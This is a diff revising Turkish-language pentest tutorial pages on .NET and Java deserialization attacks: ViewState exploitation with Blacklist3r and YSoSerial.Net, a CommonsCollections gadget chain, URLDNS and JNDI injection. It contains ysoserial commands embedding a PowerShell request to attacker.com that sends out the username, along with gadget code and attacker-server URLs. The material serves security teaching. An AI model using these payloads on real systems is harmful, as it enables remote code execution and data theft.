@ -56,7 +56,7 @@ Not edin ki `System.Windows.Data` yüklemek için _C:\Windows\Microsoft.NET\Fram
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Önceki istismarı kullanarak, **nesne** bir _**ObjectDataProvider**_ örneği olarak **deseralize edileceği** durumlar olacaktır (örneğin, DotNetNuke zafiyetinde, XmlSerializer kullanarak, nesne `GetType` ile deseralize edildi). Bu durumda, _ObjectDataProvider_ örneğinde sarılı olan nesne türü hakkında **hiçbir bilgiye sahip olmayacağız** (örneğin `Process`). Daha fazla [bilgi için DotNetNuke zafiyeti burada](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) bulabilirsiniz.
|
||||
Önceki istismarı kullanarak, **nesne** bir _**ObjectDataProvider**_ örneği olarak **deseralize edileceği** durumlar olacaktır (örneğin, DotNetNuke zafiyetinde, XmlSerializer kullanarak, nesne `GetType` ile deseralize edildi). Bu durumda, _ObjectDataProvider_ örneğinde sarılı olan nesne türü hakkında **hiçbir bilgiye sahip olmayacağız** (`Process` gibi). DotNetNuke zafiyeti hakkında daha fazla [bilgi burada](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) bulabilirsiniz.
|
||||
|
||||
Bu sınıf, belirli bir örnekte kapsüllenmiş nesnelerin nesne türlerini **belirlemeye** olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (_ObjectDataProvider_) yeni bir nesne türüne kapsüllemek ve ihtiyaç duyduğumuz özellikleri sağlamak için kullanılabilir (_ObjectDataProvider.MethodName_ ve _ObjectDataProvider.MethodParameters_).\
|
||||
Bu, daha önce sunulan durumlar için çok faydalıdır, çünkü **_ObjectDataProvider**_\*\*'ı bir \*\*_**ExpandedWrapper** \_ örneği içinde **sarmalayabileceğiz** ve **deseralize edildiğinde** bu sınıf, _**MethodName**_'de belirtilen **fonksiyonu** **çalıştıracak** _**OjectDataProvider**_ nesnesini **oluşturacaktır**.
|
||||
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
```
|
||||
## Json.Net
|
||||
|
||||
[Resmi web sayfasında](https://www.newtonsoft.com/json) bu kütüphanenin **Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye** izin verdiği belirtilmektedir. Yani, eğer **ObjectDataProvider gadget'ını serileştirebilirsek**, sadece bir nesneyi serileştirerek **RCE**'ye neden olabiliriz.
|
||||
[Resmi web sayfasında](https://www.newtonsoft.com/json) bu kütüphanenin **Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye izin verdiği** belirtilmiştir. Yani, eğer **ObjectDataProvider gadget'ını serileştirebilirsek**, sadece bir nesneyi serileştirerek **RCE**'ye neden olabiliriz.
|
||||
|
||||
### Json.Net örneği
|
||||
|
||||
Öncelikle bu kütüphaneyi kullanarak bir nesneyi **serileştirmek/serileştirmek** için bir örneğe bakalım:
|
||||
Öncelikle, bu kütüphaneyi kullanarak bir nesneyi nasıl **serileştireceğimizi/serileştireceğimizi** görelim:
|
||||
```java
|
||||
using System;
|
||||
using Newtonsoft.Json;
|
||||
|
||||
@ -7,7 +7,7 @@ Bu POST'ta `java.io.Serializable` kullanarak bir örnek açıklanacaktır.
|
||||
Java `Serializable` arayüzü (`java.io.Serializable`, sınıflarınızın **serileştirilmesi** ve **deserileştirilmesi** için uygulaması gereken bir işaretçi arayüzüdür. Java nesne serileştirmesi (yazma) [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) ile yapılır ve deserileştirme (okuma) [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html) ile yapılır.
|
||||
|
||||
**Serileştirilebilir** bir **Person sınıfı** ile bir örneğe bakalım. Bu sınıf **readObject** fonksiyonunu **geçersiz kılar**, böylece bu **sınıfın** **herhangi bir nesnesi** **deserileştirildiğinde** bu **fonksiyon** **çalıştırılacaktır**.\
|
||||
Örnekte, Person sınıfının **readObject fonksiyonu** evcil hayvanının `eat()` fonksiyonunu çağırır ve `eat()` fonksiyonu bir Köpek için (bir sebepten dolayı) bir **calc.exe** çağırır. **Bu hesap makinesini çalıştırmak için bir Person nesnesini nasıl serileştireceğimizi ve deserileştireceğimizi göreceğiz:**
|
||||
Örnekte, Person sınıfının **readObject fonksiyonu**, evcil hayvanının `eat()` fonksiyonunu çağırır ve bir Köpek için `eat()` fonksiyonu (bir sebepten dolayı) bir **calc.exe** çağırır. **Bu hesap makinesini çalıştırmak için bir Person nesnesini nasıl serileştireceğimizi ve deserileştireceğimizi göreceğiz:**
|
||||
|
||||
**Aşağıdaki örnek [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649) adresinden alınmıştır.**
|
||||
```java
|
||||
|
||||
@ -12,21 +12,21 @@ ViewState bilgileri aşağıdaki özellikler veya bunların kombinasyonları ile
|
||||
- Bu format, hem `EnableViewStateMac` hem de `ViewStateEncryptionMode` öznitelikleri false olarak ayarlandığında kullanılır.
|
||||
- **Base64 + MAC (Mesaj Kimlik Doğrulama Kodu) Etkin**:
|
||||
- MAC'in etkinleştirilmesi, `EnableViewStateMac` özniteliğinin true olarak ayarlanmasıyla sağlanır. Bu, ViewState verileri için bütünlük doğrulaması sağlar.
|
||||
- **Base64 + Şifrelenmiş**:
|
||||
- **Base64 + Şifreli**:
|
||||
- Şifreleme, `ViewStateEncryptionMode` özniteliği true olarak ayarlandığında uygulanır ve ViewState verilerinin gizliliğini sağlar.
|
||||
|
||||
## Test Durumları
|
||||
|
||||
Görüntü, .NET framework sürümüne dayalı olarak ASP.NET'teki ViewState için farklı yapılandırmaları detaylandıran bir tabloyu içermektedir. İşte içeriğin özeti:
|
||||
Görüntü, .NET framework sürümüne göre ASP.NET'teki ViewState için farklı yapılandırmaları detaylandıran bir tabloyu içermektedir. İşte içeriğin özeti:
|
||||
|
||||
1. **Herhangi bir .NET sürümü** için, hem MAC hem de Şifreleme devre dışı bırakıldığında, bir MachineKey gerekli değildir ve dolayısıyla bunu tanımlamak için geçerli bir yöntem yoktur.
|
||||
2. **4.5'ten düşük sürümler** için, eğer MAC etkinleştirilmiş ancak Şifreleme değilse, bir MachineKey gereklidir. MachineKey'i tanımlama yöntemi "Blacklist3r" olarak adlandırılır.
|
||||
3. **4.5'ten düşük sürümler** için, MAC etkinleştirilmiş veya devre dışı bırakılmış olsun, eğer Şifreleme etkinse, bir MachineKey gereklidir. MachineKey'i tanımlamak "Blacklist3r - Gelecek Geliştirme" için bir görevdir.
|
||||
4. **4.5 ve üzeri sürümler** için, MAC ve Şifreleme'nin tüm kombinasyonları (her ikisi de true, ya da biri true diğeri false) bir MachineKey gerektirir. MachineKey "Blacklist3r" kullanılarak tanımlanabilir.
|
||||
1. **Herhangi bir .NET sürümü için**, hem MAC hem de Şifreleme devre dışı bırakıldığında, bir MachineKey gerekli değildir ve dolayısıyla bunu tanımlamak için geçerli bir yöntem yoktur.
|
||||
2. **4.5'ten düşük sürümler için**, eğer MAC etkinleştirilmiş ancak Şifreleme değilse, bir MachineKey gereklidir. MachineKey'i tanımlama yöntemi "Blacklist3r" olarak adlandırılır.
|
||||
3. **4.5'ten düşük sürümler için**, MAC etkinleştirilmiş veya devre dışı bırakılmış olsun, eğer Şifreleme etkinse, bir MachineKey gereklidir. MachineKey'i tanımlamak "Blacklist3r - Gelecek Geliştirme" için bir görevdir.
|
||||
4. **4.5 ve üzeri sürümler için**, MAC ve Şifrelemenin tüm kombinasyonları (her ikisi de true, ya da biri true diğeri false) bir MachineKey gerektirir. MachineKey "Blacklist3r" kullanılarak tanımlanabilir.
|
||||
|
||||
### Test Durumu: 1 – EnableViewStateMac=false ve viewStateEncryptionMode=false
|
||||
|
||||
ViewStateMAC'i tamamen devre dışı bırakmak da mümkündür; bunun için `AspNetEnforceViewStateMac` kayıt anahtarını sıfıra ayarlamak gerekir:
|
||||
ViewStateMAC'i tamamen devre dışı bırakmak için `AspNetEnforceViewStateMac` kayıt defteri anahtarını sıfıra ayarlamak da mümkündür:
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
@ -59,7 +59,7 @@ Aşağıda gösterildiği gibi **web.config** dosyasında ayarlayarak **genel**
|
||||
</system.web>
|
||||
</configuration>
|
||||
```
|
||||
Parametre MAC ile korunduğundan, saldırıyı başarıyla gerçekleştirmek için öncelikle kullanılan anahtara ihtiyacımız var.
|
||||
Parametre bu sefer MAC ile korunmaktadır, bu nedenle saldırıyı başarıyla gerçekleştirmek için öncelikle kullanılan anahtara ihtiyacımız var.
|
||||
|
||||
Kullanılan anahtarı bulmak için [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) kullanmayı deneyebilirsiniz.
|
||||
```
|
||||
@ -88,19 +88,19 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
|
||||
```
|
||||

|
||||
|
||||
Kapsamlı bir şekilde savunmasız viewstate'leri aramak için, alt alan adları belirleme ile birlikte, `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) modülü kullanılabilir:
|
||||
Kapsamlı bir şekilde savunmasız viewstate'leri aramak için, alt alan adı sayımı ile birlikte, `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) modülü kullanılabilir:
|
||||
```
|
||||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||

|
||||
|
||||
Eğer şanslıysanız ve anahtar bulunursa, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** ile saldırıya devam edebilirsiniz:
|
||||
Eğer şanslıysanız ve anahtar bulunursa, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** ile saldırıya devam edebilirsiniz.
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
Sunucu tarafından `_VIEWSTATEGENERATOR` parametresi **gönderilmediğinde** `--generator` parametresini **sağlamanıza** **gerek yoktur** ama bunları **sağlamanız** gerekir:
|
||||
Sunucu tarafından `_VIEWSTATEGENERATOR` parametresi **gönderilmediğinde** `--generator` parametresini **sağlamanıza** **gerek yoktur**; ancak bunları **sağlamanız** gerekir:
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
@ -108,7 +108,9 @@ Sunucu tarafından `_VIEWSTATEGENERATOR` parametresi **gönderilmediğinde** `--
|
||||
|
||||
Bu durumda, parametrenin MAC ile korunup korunmadığı bilinmemektedir. Bu durumda, değer muhtemelen şifrelenmiştir ve **açığı istismar etmek için yükünüzü şifrelemek üzere Makine Anahtarına ihtiyacınız olacak**.
|
||||
|
||||
**.NET 4.5'ten önce**, ASP.NET, **`ViewStateEncryptionMode`** _**Her Zaman**_ olarak ayarlanmış olsa bile, kullanıcılardan **şifrelenmemiş** \_`__VIEWSTATE`\_ parametresini **kabul edebilir**. ASP.NET, istekte **`__VIEWSTATEENCRYPTED`** parametresinin **varlığını** **sadece kontrol eder**. **Bu parametre kaldırılırsa ve şifrelenmemiş yük gönderilirse, yine de işlenir.**
|
||||
**Bu durumda** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modülü geliştirilme aşamasındadır...**
|
||||
|
||||
**.NET 4.5'ten önce**, ASP.NET, **`ViewStateEncryptionMode`** _**Her Zaman**_ olarak ayarlanmış olsa bile, kullanıcılardan **şifrelenmemiş** \_`__VIEWSTATE`\_ parametresini **kabul edebilir**. ASP.NET, yalnızca istekte **`__VIEWSTATEENCRYPTED`** parametresinin **varlığını kontrol eder**. **Bu parametre kaldırılırsa ve şifrelenmemiş yük gönderilirse, yine de işlenir.**
|
||||
|
||||
Bu nedenle, saldırganlar dosya gezintisi gibi başka bir açık aracılığıyla Makine Anahtarını bulurlarsa, **Case 2**'de kullanılan [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komutu, ViewState serileştirme açığını kullanarak RCE gerçekleştirmek için kullanılabilir.
|
||||
|
||||
@ -134,7 +136,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
||||
--IISDirPath = {Directory path of website in IIS}
|
||||
--TargetPagePath = {Target page path in application}
|
||||
```
|
||||
IISDirPath ve TargetPagePath için daha ayrıntılı bir açıklama için [buraya bakın](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
IISDirPath ve TargetPagePath için daha ayrıntılı bir açıklama için [buraya](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) bakın.
|
||||
|
||||
Ya da, [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) ile (bir jeneratör değeri ile):
|
||||
```bash
|
||||
@ -143,11 +145,11 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6
|
||||
```
|
||||

|
||||
|
||||
Geçerli bir Machine key belirlendikten sonra, **bir seri yük oluşturmanın bir sonraki adımı** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) kullanmaktır.
|
||||
Geçerli bir Machine key belirlendikten sonra, **bir seri hale getirilmiş yük oluşturmanın bir sonraki adımı** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) kullanmaktır.
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
Eğer `__VIEWSTATEGENERATOR` değerine sahipseniz, bu değeri kullanarak `--generator` parametresini **kullanmayı** deneyebilir ve `--path` ile `--apppath` parametrelerini **hariç tutabilirsiniz**.
|
||||
Eğer `__VIEWSTATEGENERATOR` değerine sahipseniz, o değeri kullanarak `--generator` parametresini **kullanmayı** deneyebilir ve `--path` ile `--apppath` parametrelerini **hariç tutabilirsiniz**.
|
||||
|
||||

|
||||
|
||||
|
||||
@ -11,7 +11,7 @@ public final class URL implements java.io.Serializable {
|
||||
Bu sınıfın **meraklı bir davranışı** var. Belgelerden: “**İki ana bilgisayar, her iki ana bilgisayar adı da aynı IP adreslerine çözümlenebiliyorsa eşdeğer kabul edilir**.”\
|
||||
Bu nedenle, bir URL nesnesi **`equals`** veya **`hashCode`** fonksiyonlarından **herhangi birini** çağırdığında, IP adresini almak için bir **DNS isteği** **gönderilecektir**.
|
||||
|
||||
**`hashCode`** fonksiyonunu bir **URL** nesnesinden **çağırmak** oldukça kolaydır, bu nesneyi deseralize edilecek bir `HashMap` içine yerleştirmek yeterlidir. Bunun nedeni, `HashMap`'in **`readObject`** fonksiyonunun **sonunda** bu kodun çalıştırılmasıdır:
|
||||
**`hashCode`** fonksiyonunu bir **URL** nesnesinden **çağırmak** oldukça kolaydır, bu nesneyi deseralize edilecek bir `HashMap` içine yerleştirmek yeterlidir. Bunun nedeni, `HashMap`'teki **`readObject`** fonksiyonunun sonunda bu kodun çalıştırılmasıdır:
|
||||
```java
|
||||
private void readObject(java.io.ObjectInputStream s)
|
||||
throws IOException, ClassNotFoundException {
|
||||
@ -21,14 +21,14 @@ for (int i = 0; i < mappings; i++) {
|
||||
putVal(hash(key), key, value, false, false);
|
||||
}
|
||||
```
|
||||
`HashMap` içindeki her değerle `putVal` **çalıştırılacak**. Ancak, her değerle `hash` çağrısı daha önemlidir. İşte `hash` fonksiyonunun kodu:
|
||||
`putVal`'i `HashMap` içindeki her değerle **çalıştıracak**. Ancak, daha önemli olan her değerle `hash` çağrısıdır. İşte `hash` fonksiyonunun kodu:
|
||||
```java
|
||||
static final int hash(Object key) {
|
||||
int h;
|
||||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||||
}
|
||||
```
|
||||
Gözlemleyebileceğiniz gibi, **deserialization sırasında** bir **`HashMap`** için `hash` fonksiyonu **her nesne ile birlikte** **çalıştırılacak** ve **`hash`** çalıştırılması sırasında **nesnenin** `.hashCode()` **çalıştırılacak**. Bu nedenle, eğer bir **URL** nesnesi **içeren** bir **`HashMap`** **deserialization** ederseniz, **URL nesnesi** `.hashCode()` **çalıştıracaktır**.
|
||||
Gözlemleyebileceğiniz gibi, **deserialization sırasında** bir **`HashMap`** için `hash` fonksiyonu **her nesne ile birlikte** **çalıştırılacak** ve **`hash`** çalıştırılması sırasında **nesnenin** `.hashCode()` **metodu çalıştırılacak**. Bu nedenle, eğer bir **URL** nesnesi **içeren** bir **`HashMap`** **deserialization** ederseniz, **URL nesnesi** `.hashCode()` **metodunu çalıştıracaktır**.
|
||||
|
||||
Şimdi `URLObject.hashCode()` koduna bir göz atalım:
|
||||
```java
|
||||
@ -145,14 +145,14 @@ GitHub içinde, [**GadgetProbe bazı kelime listelerine**](https://github.com/Bi
|
||||
|
||||
- [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
|
||||
|
||||
## Java Deserialization Tarayıcı
|
||||
## Java Deserialization Scanner
|
||||
|
||||
Bu tarayıcı Burp Uygulama Mağazası'ndan (**Extender**) **indirilebilir**.\
|
||||
**Eklenti**, **pasif** ve aktif **yeteneklere** sahiptir.
|
||||
|
||||
### Pasif
|
||||
|
||||
Varsayılan olarak, **Java serileştirilmiş sihirli baytları** aramak için gönderilen tüm istekleri ve yanıtları **pasif olarak kontrol eder** ve herhangi bir bulursa bir güvenlik açığı uyarısı sunar:
|
||||
Varsayılan olarak, **Java serileştirilmiş sihirli baytları** arayarak gönderilen tüm istekleri ve yanıtları **pasif olarak kontrol eder** ve herhangi bir bulursa bir güvenlik açığı uyarısı sunar:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -160,17 +160,17 @@ Varsayılan olarak, **Java serileştirilmiş sihirli baytları** aramak için g
|
||||
|
||||
**Manuel Test**
|
||||
|
||||
Bir isteği seçebilir, sağ tıklayabilir ve `DS'ye istek gönder - Manuel Test` seçeneğini seçebilirsiniz.\
|
||||
Bir isteği seçebilir, sağ tıklayıp `DS'ye istek gönder - Manuel Test` seçeneğini tıklayabilirsiniz.\
|
||||
Ardından, _Deserialization Scanner Sekmesi_ --> _Manuel test sekmesi_ içinde **ekleme noktasını** seçebilirsiniz. Ve **testi başlatın** (Kullanılan kodlamaya bağlı olarak uygun saldırıyı seçin).
|
||||
|
||||

|
||||
|
||||
Bu "Manuel test" olarak adlandırılsa da, oldukça **otomatikleştirilmiştir**. **Deserialization**'ın **herhangi bir ysoserial yüküne** **duyarlı** olup olmadığını kontrol etmek için web sunucusundaki kütüphaneleri otomatik olarak kontrol edecek ve duyarlı olanları vurgulayacaktır. **Duyarlı kütüphaneleri** kontrol etmek için **Java Sleeps**, **CPU** tüketimi yoluyla **sleeps** veya daha önce bahsedildiği gibi **DNS** kullanarak başlatmayı seçebilirsiniz.
|
||||
Bu "Manuel test" olarak adlandırılsa da, oldukça **otomatikleştirilmiştir**. **Deserialization**'ın **herhangi bir ysoserial yüküne** **duyarlı** olup olmadığını kontrol edecek ve web sunucusunda mevcut olan kütüphaneleri kontrol ederek duyarlı olanları vurgulayacaktır. **Duyarlı kütüphaneleri** kontrol etmek için **Java Sleeps**, **CPU** tüketimi ile **uyku** veya daha önce bahsedildiği gibi **DNS** kullanarak başlatmayı seçebilirsiniz.
|
||||
|
||||
**İstismar**
|
||||
|
||||
Duyarlı bir kütüphane tanımladıktan sonra isteği _İstismar Sekmesine_ gönderebilirsiniz.\
|
||||
Bu sekmede, **enjekte etme noktasını** tekrar **seçmeniz**, istismar için bir yük oluşturmak istediğiniz **duyarlı kütüphaneyi** ve **komutu** yazmanız gerekir. Ardından, uygun **Saldırı** butonuna basın.
|
||||
Duyarlı bir kütüphane belirledikten sonra isteği _İstismar Sekmesine_ gönderebilirsiniz.\
|
||||
Bu sekmede, **enjekte etme noktasını** tekrar **seçmeniz**, oluşturmak istediğiniz **duyarlı kütüphaneyi** ve **komutu** yazmanız gerekir. Ardından, uygun **Saldırı** butonuna basın.
|
||||
|
||||

|
||||
|
||||
|
||||
@ -49,7 +49,7 @@ Ayrıca burada **çalıştırılan payload**'ın **eşdeğer** olduğunu bilmek
|
||||
```java
|
||||
Runtime.getRuntime().exec(new String[]{"calc.exe"});
|
||||
```
|
||||
Ya da **daha kesin olarak**, sonunda çalıştırılacak olan şudur:
|
||||
Ya da **daha kesin olarak**, sonunda çalıştırılacak olan:
|
||||
```java
|
||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||
```
|
||||
@ -57,7 +57,7 @@ Ya da **daha kesin olarak**, sonunda çalıştırılacak olan şudur:
|
||||
|
||||
Peki, ilk yükün sunumu bu "basit" tek satırlara nasıl eşdeğerdir?
|
||||
|
||||
**Öncelikle**, yükte bir **dönüşüm zinciri (dizi) oluşturulduğunu** görebilirsiniz:
|
||||
**İlk** olarak, yükte bir **dönüşüm zinciri (dizi) oluşturulduğunu** görebilirsiniz:
|
||||
```java
|
||||
String[] command = {"calc.exe"};
|
||||
final Transformer[] transformers = new Transformer[]{
|
||||
@ -84,15 +84,15 @@ command
|
||||
};
|
||||
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
||||
```
|
||||
Kodunuzu okursanız, eğer bir şekilde dizinin dönüşümlerini zincirleyebilirseniz, rastgele komutlar çalıştırabileceğinizi fark edeceksiniz.
|
||||
Kodunuzu okursanız, dizinin dönüşümünü bir şekilde zincirleyebilirseniz, rastgele komutları çalıştırabileceğinizi fark edeceksiniz.
|
||||
|
||||
Peki, **bu dönüşümler nasıl zincirleniyor?**
|
||||
Yani, **bu dönüşümler nasıl zincirleniyor?**
|
||||
```java
|
||||
Map map = new HashMap<>();
|
||||
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|
||||
lazyMap.get("anything");
|
||||
```
|
||||
Yüklemenin son bölümünde bir **Map nesnesi oluşturulduğunu** görebilirsiniz. Ardından, `LazyMap`'ten harita nesnesi ve zincirlenmiş dönüştürücüler ile `decorate` fonksiyonu çalıştırılır. Aşağıdaki koddan, bunun **zincirlenmiş dönüştürücülerin** `lazyMap.factory` niteliğine kopyalanmasına neden olacağını görebilirsiniz:
|
||||
Yüklemenin son bölümünde bir **Map nesnesi oluşturulduğunu** görebilirsiniz. Ardından, `LazyMap`'ten `decorate` fonksiyonu, harita nesnesi ve zincirlenmiş dönüştürücüler ile çalıştırılır. Aşağıdaki koddan, bunun **zincirlenmiş dönüştürücülerin** `lazyMap.factory` niteliğine kopyalanmasına neden olacağını görebilirsiniz:
|
||||
```java
|
||||
protected LazyMap(Map map, Transformer factory) {
|
||||
super(map);
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
JNDI, 1990'ların sonlarından beri Java'ya entegre edilmiş olup, Java programlarının bir adlandırma sistemi aracılığıyla veri veya nesneleri bulmasını sağlayan bir dizin hizmetidir. Farklı sistemlerden veri alımını sağlayan hizmet sağlayıcı arayüzleri (SPI'ler) aracılığıyla çeşitli dizin hizmetlerini destekler, uzaktaki Java nesneleri de dahil. Yaygın SPI'ler arasında CORBA COS, Java RMI Registry ve LDAP bulunmaktadır.
|
||||
JNDI, 1990'ların sonlarından beri Java'ya entegre edilmiş bir dizin hizmetidir ve Java programlarının bir adlandırma sistemi aracılığıyla veri veya nesneleri bulmasını sağlar. Farklı sistemlerden veri alımını sağlayan hizmet sağlayıcı arayüzleri (SPI'ler) aracılığıyla çeşitli dizin hizmetlerini destekler, uzaktaki Java nesneleri de dahil. Yaygın SPI'ler arasında CORBA COS, Java RMI Registry ve LDAP bulunmaktadır.
|
||||
|
||||
### JNDI Adlandırma Referansı
|
||||
|
||||
Java nesneleri, iki biçimde gelen JNDI Adlandırma Referansları kullanılarak saklanabilir ve alınabilir:
|
||||
|
||||
- **Referans Adresleri**: Bir nesnenin konumunu belirtir (örneğin, _rmi://server/ref_), belirtilen adresten doğrudan alım yapılmasını sağlar.
|
||||
- **Referans Adresleri**: Bir nesnenin konumunu belirtir (örneğin, _rmi://server/ref_), belirtilen adresten doğrudan alım yapılmasına olanak tanır.
|
||||
- **Uzaktan Fabrika**: Bir uzaktan fabrika sınıfına referans verir. Erişim sağlandığında, sınıf uzaktan indirilir ve örneklendirilir.
|
||||
|
||||
Ancak, bu mekanizma istismar edilebilir ve potansiyel olarak keyfi kodun yüklenmesine ve çalıştırılmasına yol açabilir. Bir karşı önlem olarak:
|
||||
@ -19,7 +19,7 @@ Ancak, bu mekanizma istismar edilebilir ve potansiyel olarak keyfi kodun yüklen
|
||||
- **LDAP**: JDK 6u141, 7u131, 8u121'den itibaren varsayılan olarak `com.sun.jndi.ldap.object.trustURLCodebase = false`, uzaktan yüklenen Java nesnelerinin çalıştırılmasını engeller. `true` olarak ayarlandığında, uzaktan kod çalıştırma, bir Güvenlik Yöneticisi'nin denetimi olmadan mümkündür.
|
||||
- **CORBA**: Belirli bir özelliğe sahip değildir, ancak Güvenlik Yöneticisi her zaman aktiftir.
|
||||
|
||||
Ancak, JNDI bağlantılarını çözmekten sorumlu olan **Adlandırma Yöneticisi**, yerleşik güvenlik mekanizmalarına sahip değildir ve bu da herhangi bir kaynaktan nesnelerin alınmasına olanak tanıyabilir. Bu, RMI, LDAP ve CORBA korumalarının aşılmasına yol açarak keyfi Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadgets) istismar edilmesine neden olabilir.
|
||||
Ancak, JNDI bağlantılarını çözmekten sorumlu olan **Adlandırma Yöneticisi**, yerleşik güvenlik mekanizmalarına sahip değildir ve bu da herhangi bir kaynaktan nesnelerin alınmasına olanak tanıyabilir. Bu, RMI, LDAP ve CORBA korumalarının aşılabileceği ve keyfi Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadgets) istismar edilmesine yol açabilir.
|
||||
|
||||
İstismar edilebilir URL örnekleri şunlardır:
|
||||
|
||||
@ -27,17 +27,17 @@ Ancak, JNDI bağlantılarını çözmekten sorumlu olan **Adlandırma Yöneticis
|
||||
- _ldap://attacker-server/bar_
|
||||
- _iiop://attacker-server/bar_
|
||||
|
||||
Koruma önlemlerine rağmen, JNDI'nin güvenilir olmayan kaynaklardan yüklenmesine karşı koruma eksikliği ve mevcut korumaların aşılma olasılığı nedeniyle zayıflıklar devam etmektedir.
|
||||
Koruma olmasına rağmen, JNDI'nin güvensiz kaynaklardan yüklenmesine karşı koruma eksikliği ve mevcut korumaların aşılma olasılığı nedeniyle açıklar devam etmektedir.
|
||||
|
||||
### JNDI Örneği
|
||||
|
||||
.png>)
|
||||
|
||||
Bir **`PROVIDER_URL`** ayarlamış olsanız bile, bir arama sırasında farklı birini belirtebilir ve erişim sağlanabilir: `ctx.lookup("<attacker-controlled-url>")` ve bu, bir saldırganın kendisine ait bir sistemden keyfi nesneleri yüklemek için istismar edeceği şeydir.
|
||||
Bir **`PROVIDER_URL`** ayarlamış olsanız bile, bir arama sırasında farklı birini belirtebilir ve erişim sağlanabilir: `ctx.lookup("<attacker-controlled-url>")` ve bu, bir saldırganın kendisinin kontrol ettiği bir sistemden keyfi nesneleri yüklemek için istismar edeceği şeydir.
|
||||
|
||||
### CORBA Genel Bakış
|
||||
|
||||
CORBA (Common Object Request Broker Architecture), uzaktaki nesneleri benzersiz bir şekilde tanımlamak için bir **Etkileşimli Nesne Referansı (IOR)** kullanır. Bu referans, aşağıdaki gibi temel bilgileri içerir:
|
||||
CORBA (Common Object Request Broker Architecture), uzaktaki nesneleri benzersiz bir şekilde tanımlamak için bir **Interoperable Object Reference (IOR)** kullanır. Bu referans, aşağıdaki gibi temel bilgileri içerir:
|
||||
|
||||
- **Tip Kimliği**: Bir arayüz için benzersiz tanımlayıcı.
|
||||
- **Kod Tabanı**: Stub sınıfını elde etmek için URL.
|
||||
@ -45,7 +45,7 @@ CORBA (Common Object Request Broker Architecture), uzaktaki nesneleri benzersiz
|
||||
Özellikle, CORBA doğası gereği savunmasız değildir. Güvenliği sağlamak genellikle şunları içerir:
|
||||
|
||||
- Bir **Güvenlik Yöneticisi** kurulumu.
|
||||
- Güvenlik Yöneticisi'nin potansiyel olarak kötü niyetli kod tabanlarına bağlantılara izin verecek şekilde yapılandırılması. Bu, aşağıdakilerle sağlanabilir:
|
||||
- Güvenlik Yöneticisi'nin potansiyel olarak kötü niyetli kod tabanlarına bağlantılara izin verecek şekilde yapılandırılması. Bu, aşağıdaki gibi gerçekleştirilebilir:
|
||||
- Soket izni, örneğin, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
|
||||
